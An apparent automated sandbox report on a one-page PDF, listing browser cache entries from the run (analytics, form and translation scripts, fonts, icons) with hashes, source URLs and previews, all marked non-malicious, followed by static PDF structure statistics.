SHA-512:	1F1E58A1C73EE95ED96682579E9218099D06340E24EBFE4E169C0EAEA501FA881E8ADBFF7A07E86E1630432FCA48E7D9F80988CA6F823D27D952DE517C5E0922
Malicious:	false
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"undefined"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_dma","priority":6,"vtp_delegationMode":"ON","vtp_dmaDefault":"DENIED","tag_id":111},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_fir

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.87829726905419
Encrypted:	false
SSDEEP:	48:sGFf1qcoO3De4MaDZLU+ZDUI8qK/+xn61WIECnPk9dTnqxNB9if:sw1qcoqFJUoZu/VyZdrqxr9u
MD5:	2AAC7F580EE8C66ACF54DAC0ACC95DAA
SHA1:	23A7F3ADDB13338BEAEE158512E612FB6587567B
SHA-256:	52C68BC25C43D062CF949A60EA05D08B27F96BCA68C23164018BC62FC9B87491
SHA-512:	3EE02BF5627986A17524438A727977E08F25768344EE6392928B6CDA732C7ACB7B12C0F09D8E7C2F7E7AF97D5454C591DA27CEECFACAD059EC2500789A59AE60
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx...PSw...,..V+......$.(.H..#..X..nw.....l...V....i.:^x.E...V.tj[Q.A...v...F9<9.\.....%...=....f.3..<...........R..C...E.~.XP...i..%..C5.Y..~.g...-.[..,..)][?SZ..!.h.....H...k.q."..-/.....zT.R\|.A.....x}.x../..).)..YR2H......H...E..E...2}d......(....x.U......O.....-s.w..(W.B......G.E+....<....@.pn7.V.&.G<R.+.q%\.=.\......h.UBs,.}S..z.......e\!D&.....pL..U..tC..\|.A..B.k.! .0.....-...IK..o.+..j..3.!.@...G.i.QN......5A..?p.@K<Q.@.....$..e...U..x.(75.g}..x.Q.....,.Z..5>..2x.=......?..@.\.;...I.L\V.L.V@\|..V\|...?H../+..!.0....x.w....,..Wc......4..Y....h.......\;.h.1..t~......'.......\|.........+.'M.F...\|TQ..z...)....O..........V.....`>%..Qt.......tF......at.2s.y.o....W.{...m....h...m.9.m2..v..q=.+&y..B.;......(...{.o....".$@.K.Sc...O].Pt.....A..0.[d.c.7..~..............CoB1... \|..e6x.0.brR..l1'.M.....;D...>8.....0...........,.&x..-,%C..>..........\|=...k.$:...`...7....~.~....*ZB_E.=......Ua..._@..O.

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3067)
Category:	dropped
Size (bytes):	3178
Entropy (8bit):	5.447220481628785
Encrypted:	false
SSDEEP:	48:os4YJBSgKXmjtGPQQMFFfJMgHgQpvLBsyowXk41mueQakHmX7ZWXbFYrmL:osrBSgK2jhFRMgAQB+8UY1mXVWXbFYrO
MD5:	67AE0B5051FA137007227BDFDDBBDAFE
SHA1:	1F99EF9ECAEC1E46FBA9ABF39405C07E393CF975
SHA-256:	25241E985BB046886CE85BF6708C65FD23A7F00A0C827BBA222BCF3F701CCEA7
SHA-512:	F833C7B14F36B4AFD42CE32C058F4239964D6305FDDC6F04D4E3D9D779A4A9F1C1396345FF8504320D11A9A6FA7D54E27A4823C78DA282F053E1B17CE2413C16
Malicious:	false
Preview:	!function(){"use strict";const t="hsforms",r={hsforms:{prod:"hsforms.com",qa:"hsformsqa.com"}},n="share",o="survey",e={[n]:"share",[o]:"survey"},s=t=>t&&"na1"!==t?`-${t}`:"",a=t=>"local"===t\|\|"qa"===t?"qa":"prod",i=t=>e[t],c=(t,n)=>r[t][a(n)],u=(r,n={})=>{const o=Object.assign({hublet:"",isQA:!1},n),e=o.isQA?"qa":"prod";return`https://${i(r)}${s(o.hublet)}.${c(t,e)}`},l=1,d="-",f=[...Array(256)].map(((t,r)=>(r+256).toString(16).substr(1))),h=/\/([a-z0-9-_]+)([?#].*\|\/)?$/i,p=/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/,w=[["+","-"],["/","_"]],m=(t,r)=>{let n=r\|\|0;return[f[t[n++]],f[t[n++]],f[t[n++]],f[t[n++]],"-",f[t[n++]],f[t[n++]],"-",f[t[n++]],f[t[n++]],"-",f[t[n++]],f[t[n++]],"-",f[t[n++]],f[t[n++]],f[t[n++]],f[t[n++]],f[t[n++]],f[t[n++]]].join("")},g=t=>{const r=[];t.replace(/[a-fA-F0-9]{2}/g,(t=>{r.push(parseInt(t,16))}));return r},b=t=>{const r=new Uint8Array(t);return window.btoa([...Array(r.byteLength)].reduce(((t,n,o)=>t+String.fromCharCode(r[o])),""))},y=t=

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1270)
Category:	downloaded
Size (bytes):	62564
Entropy (8bit):	5.612739498050748
Encrypted:	false
SSDEEP:	768:MJw6rxg2lglBl68yWnEj9pjUSpGhI7M0brRrn+6drBIf8nJ8l2Zor6xTAuqUQSxy:MEBlBBGL40pBIfZl6lG6S9ZCRFYQ2rX
MD5:	C129985E069AEC16F768B04D85FED9D9
SHA1:	A8FCB5A5C61B627A6B0B0B2970A86A0E68C2FD3E
SHA-256:	AF49CF3A4E761C6710E0F73590CD7E23EAE7893E5157B3306FC183CA4F069376
SHA-512:	9083672A8718293E55D8932A784502DD1738947DE4EF80BA45467B093909B4A3B45BBB263ED9FCDCC8D90966FA9D56E262A4E9D7C356C54380D382A9E67E3D36
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=E2VjNc,Id96Vc,LEikZe,YYmHzb,_b,_tp,byfTOb,ebZ3mb,lWpni,lsjVmc/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=soHxf"
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.Hu=function(a){_.cn.call(this);this.v=a\|\|window;this.H=_.Vm(this.v,"resize",this.N,!1,this);this.j=_.kl(this.v)};_.ji(_.Hu,_.cn);_.Hu.prototype.Db=function(){_.Hu.ze.Db.call(this);this.H&&(_.an(this.H),this.H=null);this.j=this.v=null};_.Hu.prototype.N=function(){var a=_.kl(this.v);_.gl(a,this.j)\|\|(this.j=a,this.dispatchEvent("resize"))};._.n("n73qwf");.var Iu=function(a){_.cn.call(this);this.H=a?a.j.defaultView:window;this.na=this.H.devicePixelRatio>=1.5?2:1;this.v=(0,_.rh)(this.oa,this);this.N=null;(this.j=this.H.matchMedia?this.H.matchMedia("(min-resolution: 1.5dppx), (-webkit-min-device-pixel-ratio: 1.5)"):null)&&typeof this.j.addListener!=="function"&&typeof this.j.addEventListener!=="function"&&(this.j=null)};_.ji(Iu,_.cn);.Iu.prototype.start=function(){var a=this;this.j&&(typeof this.j.addEventListener==="function"?(this.j.addEventListener("change",this.v),thi

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27957)
Category:	downloaded
Size (bytes):	529631
Entropy (8bit):	5.632686885736453
Encrypted:	false
SSDEEP:	6144:Muf7p6478mrqBeGNDvzWLcNWfmvYrc9ViPkVp2HO0:5dxrqBJnIfh84cXmO0
MD5:	1075F175E9457AB9B696D32597744247
SHA1:	DCC133A61D38E52273DA07984FA838F67E464198
SHA-256:	6FC2254881F0DF31D29895DBEF4823166629D0E6CDDD4753890E2D9517FA8B44
SHA-512:	6EAFAFDE9CDC33EFABBED2092BA9087276FCEA48D49348FA82ADA189EF78F815D12536D108D2863F272770419AD7B310DCC3A266029EB306C96494312898A0F6
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=E2VjNc,Id96Vc,JWUKXe,LEikZe,YYmHzb,_b,_tp,byfTOb,ebZ3mb,lWpni,lsjVmc,soHxf,t1sulf/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=n73qwf,UUJqVe,ws9Tlc,IZT63,QiuiSd,mzzZzc,CHCSlb,O1Gjze,xUdipf,ZDZcre,OTA3Ae,ZwDk9d,V3dDOb,WO9ee,tisQVe,j4UNFc,m9oV,mI3LFb,NhqZgc,vopfbe,QwxRbe,qerCec,vr7JQe,E8RCnf,O6y8ed,MpJwZc,PrPYRd,NwH0H,lazG7b,fmklff,s39S4,XVMNvd,KUM7Z,L1AAkb,hB8iWe,duFQFc,lwddkf,gychg,w9hDv,RMhBfe,pw70Gc,SdcwHb,aW3pY,EFQ78c,Ulmmrd,A7fCU,mdR7q,MnwvSb,xQtZb,XBRlNc,JNoxi,MI6k7c,kjKdXe,QIhFr,BVgquf,hKSk3e,bYHiff,hc6Ubd,SpsfSb,zbML3c,zr1jrb,zqPcjf,Uas9Hd,pjICDe"
Preview:	"use strict";_F_installCss(".EDId0c{position:relative}.nhh4Ic{position:absolute;left:0;right:0;top:0;z-index:1;pointer-events:none}.nhh4Ic[data-state=snapping],.nhh4Ic[data-state=cancelled]{transition:transform 200ms}.MGUFnf{display:block;width:28px;height:28px;padding:15px;margin:0 auto;transform:scale(0.7);background-color:#fafafa;border:1px solid #e0e0e0;border-radius:50%;box-shadow:0 2px 2px 0 rgba(0,0,0,.2);transition:opacity 400ms}.nhh4Ic[data-state=resting] .MGUFnf,.nhh4Ic[data-state=cooldown] .MGUFnf{transform:scale(0);transition:transform 150ms}.nhh4Ic .LLCa0e{stroke-width:3.6px;transform:translateZ(1px)}.nhh4Ic[data-past-threshold=false] .LLCa0e{opacity:.3}.rOhAxb{fill:#4285f4;stroke:#4285f4}.A6UUqe{display:none;stroke-width:3px;width:28px;height:28px}.tbcVO{width:28px;height:28px}.bQ7oke{position:absolute;width:0;height:0;overflow:hidden}.A6UUqe.qs41qe{animation-name:quantumWizSpinnerRotate;animation-duration:1568.63ms;animation-iteration-count:infinite;animation-timing-func

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	487057
Entropy (8bit):	5.79107882286738
Encrypted:	false
SSDEEP:	6144:VSD7rP1dmHpLXCXb5xehhHrAeOd4Bwq0j6pwU8Vz0/JaQPLZ8UBjkutP:gdfb5xwMeOd4Bwqq6K72P
MD5:	9045150EA546201948CA19EE2F5BFD0B
SHA1:	A218DAA2E7CAE836071B134989B66BD001CE0D57
SHA-256:	234DC5F553ED630589520604C5725A664F4D2873BB8D6E7544538370036287C2
SHA-512:	393BD892C2F01FC82579954795EB0B69E7DA34FC1A43DA8078532A0377B09008119AB05952DE298FCEA4EE782E1974CB1D7ABDE0A2D2C1142CDA8C109B7F3961
Malicious:	false
URL:	https://js.hsforms.net/forms/embed/v3.js
Preview:	!function(e){var t={};function n(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};e[r].call(a.exports,a,a.exports,n);a.l=!0;return a.exports}n.m=e;n.c=t;n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})};n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});Object.defineProperty(e,"__esModule",{value:!0})};n.t=function(e,t){1&t&&(e=n(e));if(8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);n.r(r);Object.defineProperty(r,"default",{enumerable:!0,value:e});if(2&t&&"string"!=typeof e)for(var a in e)n.d(r,a,function(t){return e[t]}.bind(null,a));return r};n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};n.d(t,"a",t);return t};n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)};n.p="//static.hsappstatic.net/forms-embed/static-1.6926/";n(n.s="CEb6")}({"+1EL":function(e,t,n){"use stri

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.418295834054489
Encrypted:	false
SSDEEP:	3:rOWRL:rOWRL
MD5:	7C75EAA17B37BC1FB911C80DBC99E4EB
SHA1:	447C43B1F1801D3923E154C8745100ED0B915012
SHA-256:	0105D84E88CE0378E75A047F73F4B7845054BE0440FC588428B0A15F4ADE3C05
SHA-512:	856E854722A37EC5EACBDEDC0038EA2C2F0EE63A1BF813E1C7B863AFC6DBC7F95B21F179CA034829147B670AA3D3AC0F63AB9E9BAF91F6E449E0AF75CF177D28
Malicious:	false
Preview:	Bad request.

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:Hnhn:Bn
MD5:	BEEDCB4EB0A559E6CE2D1E20D38CB330
SHA1:	A04EE9801770C0E81B170D7992EC3735E878AA58
SHA-256:	6E9D99B87595B07B10676B68EBE9AA8B63DF7D9A74F59CC91EED60EA1FBDC6EF
SHA-512:	BD101CDF7FDF1210127D83CE76E3F6F6F1378259F0A55C112E39C49A9131B8636FB020E07E985B8427A35B62A544F2F7C5F75B11AD69EF2C4AE67A41BD5898B2
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAkaIlEjlsLtKRIFDWlIR0c=?alt=proto
Preview:	CgkKBw1pSEdHGgA=

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.641409089701019
Encrypted:	false
SSDEEP:	24:N3EYfac/0pSSKIpplTOsO+XAYKn3qX5L2ieij8LYHVo7RjCrnvl0:9E6YSS57ZOsbXM3+Z2iwLYHVqRjW2
MD5:	1B1F39C8352254F34FAF2D93BAA4B0CE
SHA1:	575957AFE30E2C60C91AC76019C58A3EC1AC6A44
SHA-256:	9CEA119E265DB3CB32F59FD8211FDDCA7DFCD9ACB76BB229853F133305CF43CF
SHA-512:	B4628ADCE6FF0F2E41C169D0033BCD20E42D8393EFA96A18D19C8D064F210B0B769B75C23D8B290F42B401ED43813C4C6D1D260508A40F25B80EAF2D3A68F321
Malicious:	false
Preview:	.PNG........IHDR...@...@.....%.....KIDATx......... .O3..".....L@@@@@@@@@@@@...... .\|..>c..m{9.m.6..^.m.j.o.l...7....-t..>..[&O...{..#..Dto..OOH.m..}a.......y\..T.rlhja...L....4......pM...o......sr.......R..x..h..%^..{.....E..5]w.,M.8mf..T.............-....:t...~frSGQ.......`.............r...'..O..1....S.....N...yu-.......G....vO..}..iM...@eu....j.-m.a..6..v.n...S........2.6..N.{z....R....I=~L..S.T..I...}...z..........l.0.......[Z.a......2........Z]];..!..@..r..~...Q......adt.PSs.._...>.@R\..q Y.A..p..F..^.\....B....IXd..[..E.w......1..tL{R.....W....UbJ:...C...D........tA....3.....S...O].}.FS..{.s.,J...........h.....76.W(...4....C,......~.g>...5.v..7..x....}...i'.L\|R*.y....w\.....Q...;...Z......S....l.7 .X...:...L......DI.....-.....\|..NTl..s.....O[(.....i...!.@fW\|'%s..sm.D9.N.h..k..L..J....d......3.r.._.x..[...].?.Z.U.;.........h.@N..@gW7....j.......f...........s..Z_+.....>.q.[..s......../......m..]i....zNOH.l......\|.w...\|....&..)-Vdi9

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	487057
Entropy (8bit):	5.79107882286738
Encrypted:	false
SSDEEP:	6144:VSD7rP1dmHpLXCXb5xehhHrAeOd4Bwq0j6pwU8Vz0/JaQPLZ8UBjkutP:gdfb5xwMeOd4Bwqq6K72P
MD5:	9045150EA546201948CA19EE2F5BFD0B
SHA1:	A218DAA2E7CAE836071B134989B66BD001CE0D57
SHA-256:	234DC5F553ED630589520604C5725A664F4D2873BB8D6E7544538370036287C2
SHA-512:	393BD892C2F01FC82579954795EB0B69E7DA34FC1A43DA8078532A0377B09008119AB05952DE298FCEA4EE782E1974CB1D7ABDE0A2D2C1142CDA8C109B7F3961
Malicious:	false
Preview:	!function(e){var t={};function n(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};e[r].call(a.exports,a,a.exports,n);a.l=!0;return a.exports}n.m=e;n.c=t;n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})};n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});Object.defineProperty(e,"__esModule",{value:!0})};n.t=function(e,t){1&t&&(e=n(e));if(8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);n.r(r);Object.defineProperty(r,"default",{enumerable:!0,value:e});if(2&t&&"string"!=typeof e)for(var a in e)n.d(r,a,function(t){return e[t]}.bind(null,a));return r};n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};n.d(t,"a",t);return t};n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)};n.p="//static.hsappstatic.net/forms-embed/static-1.6926/";n(n.s="CEb6")}({"+1EL":function(e,t,n){"use stri

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2034)
Category:	downloaded
Size (bytes):	21473
Entropy (8bit):	5.40364104674511
Encrypted:	false
SSDEEP:	384:+PI7UcUSIsBLe8Fda+FxlvU1pnOY3CD56EpaaOkUQN1SDycWSIVw:+PmUcUeBLBFxlvU1BzkvpHO4N1cycWSV
MD5:	84C57D11DFC7F3182457A29B4460C1E6
SHA1:	B8F5579FD4EFFC962E6199F73F4771CF4C7A8D31
SHA-256:	1891847417C7588E240832018BA0D06193388557499691F05F91C21C1034713A
SHA-512:	C86121AC53E6131131C51CBF74C072D943F7DD8ADBAC523FB75812B51E99F89F518A6475BFF35E247DDBF1E50304B1D6A41EC2917A70D70376C9C5BCF795C2EC
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=A7fCU,BGvAMc,BVgquf,CHCSlb,CTfTTd,CW8lw,DFTXbf,E2VjNc,E8RCnf,EF8pe,EFQ78c,EXqMwe,FhOzRe,GILUZe,GjNf3d,HwavCb,IZT63,Id96Vc,JH2zc,JNoxi,JWUKXe,KUM7Z,L1AAkb,LCd6Fb,LEikZe,MI6k7c,MnwvSb,ModSgb,MpJwZc,NLiBIf,NhqZgc,NwH0H,O1Gjze,O6y8ed,OTA3Ae,P6sQOc,PJmRvc,PrPYRd,Py55mc,Q4odOe,QIhFr,QiuiSd,QwxRbe,RMhBfe,SU9Rsf,SdcwHb,SpsfSb,TIMMcb,Tpj7Pb,UMSz0b,UUJqVe,Uas9Hd,Ulmmrd,V3dDOb,WO9ee,XBRlNc,XVMNvd,YYmHzb,ZDZcre,ZwDk9d,_b,_tp,a6k9bf,aW3pY,bTi8wc,bYHiff,byfTOb,c6uA6d,duFQFc,e2jnoe,eM1C7d,eYJrS,eZKlG,ebZ3mb,f6XzIb,ff8rzd,fmklff,gNRIbd,gychg,hB8iWe,hKSk3e,hKX1gf,hc6Ubd,j4UNFc,kjKdXe,lWpni,lazG7b,lsjVmc,lwddkf,m9oV,mI3LFb,mdR7q,msAMEf,mzzZzc,n73qwf,onWwzb,pjICDe,pw70Gc,qDN7de,qNG0Fc,qerCec,rSlV0d,s39S4,sJhETb,soHxf,t1sulf,tisQVe,u8fSBf,vopfbe,vr7JQe,w0Gqx,w9hDv,wg1P6b,wnKIze,ws9Tlc,wtngef,xQtZb,xUdipf,xzbRj,ycXvHb,zbML3c,zqPcjf,zr1jrb/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=p3hmRc,LvGhrf,RqjULd"
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{.var bua;._.nC=function(){var a=bua(_.ye("xwAfE"),function(){return _.ye("UUFaWc")}),b=bua(_.ye("xnI9P"),function(){return _.ye("u4g7r")}),c,d,e,f;return(f=cua)!=null?f:cua=Object.freeze({isEnabled:function(g){return g===-1\|\|_.nf(_.ye("iCzhFc"),!1)?!1:a.enabled\|\|b.enabled},environment:(c=_.Xk(_.ye("y2FhP")))!=null?c:void 0,UC:(d=_.Xk(_.ye("MUE6Ne")))!=null?d:void 0,Jl:(e=_.Xk(_.ye("cfb2h")))!=null?e:void 0,xj:_.Zk(_.ye("yFnxrf"),-1),VK:_.bl(_.ye("fPDxwd"),[]).map(function(g){return _.Zk(g,0)}).filter(function(g){return g>0}),.YP:a,CP:b})};bua=function(a,b){a=_.nf(a,!1);return{enabled:a,zr:a?_.Gd(_.$k(b(),_.oC)):dua()}};_.oC=function(a){this.wa=_.y(a)};_.B(_.oC,_.A);var dua=function(a){return function(){return _.id(a)}}(_.oC);var cua;._.n("p3hmRc");.var Iua=function(a){a.oa=!0;return a},Jua=function(a,b,c,d){this.transport=a;this.j=b;this.v=c;this.environment=d;this.H=N

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6015
Entropy (8bit):	5.417043325436399
Encrypted:	false
SSDEEP:	96:GhOEazFZMOEaK3qOEanOEajJc+u+OEa7NMhOXa7FZMOXa93qOXagOXaEJc+u+OXM:GuPK3Ng3k+tA93OoALmLy13Eq4tK
MD5:	0B414B7DB9A539E8EE336BCDCA5F8FDD
SHA1:	CB596295697D8D7CBAB3FE7C9FEAC1AC35FF384B
SHA-256:	40760A00D5366341EFF02BFD114E8FB328DD3926295073397F0CAA00B7E3B070
SHA-512:	51D9A66BFFB08E76F8413FB4B173070F3499F38C0C2AFFAAF1217E904B1FE6FDD500E9242EF8278BD7D948014070B2A5AB421E982AF82DD0DE7B33D5506788BA
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Google+Sans+Text:wght@400;500;700&display=swap
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ cyrillic /.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qE52i1dC.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek /.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qEl2i1dC.woff2) format('woff2');. unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;.}./ vietnamese */.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qEV2i1dC.woff2) format('woff2');. unicode-range: U+0102-0103, U+

Static File Info

General

File type:	PDF document, version 1.7, 1 pages
Entropy (8bit):	7.769314744924473
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	FINAL000035745873695487KHFKA.pdf
File size:	49'810 bytes
MD5:	95a4b553d674aa1e46feffe7fd1812b3
SHA1:	6faa0c2b1c6b38a9a61ba38a9549de542d7a2b35
SHA256:	f408b67a427912c98fbdfe04407af1d0d0e2a649ba25d6962dc1b87a86bb402b
SHA512:	6f87334526abc62a4d6b2b6adc2aa9e99657d48de95e6bfb05acdbe0f44f33327d73801812f7ef29105299dfda49ed9002b15fdf53c60a98730c0f437d716c70
SSDEEP:	768:y2IlLk6rn06eySReXaWrARGJGPZ2UNvDFMHCppIESKnFWw8ux5VUxXdIVltStGo:gJoeuGcRPvDFECbIETx3oXd2aMo
TLSH:	4023BF71F182B88FCC5F92F2AB6A271F3E9EB748DAC440967C5C15570700F7259A26E2
File Content Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 12 0 R/MarkInfo<</Marked true>>/Metadata 26 0 R/ViewerPreferences 27 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 1/Kids[ 3 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/R

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.7
Total Entropy:	7.769315
Total Bytes:	49810
Stream Entropy:	7.790617
Stream Bytes:	46628
Entropy outside Streams:	5.383614
Bytes outside Streams:	3182
Number of EOF found:	2
Bytes after EOF:

Keywords Statistics

Name	Count
obj	17
endobj	17
stream	6
endstream	6
xref	2
trailer	2
startxref	2
/Page	1
/Encrypt	0
/ObjStm	1
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
10	4d71557171554065	f3505a1b3df99da7f1e2a03f50c83c0a

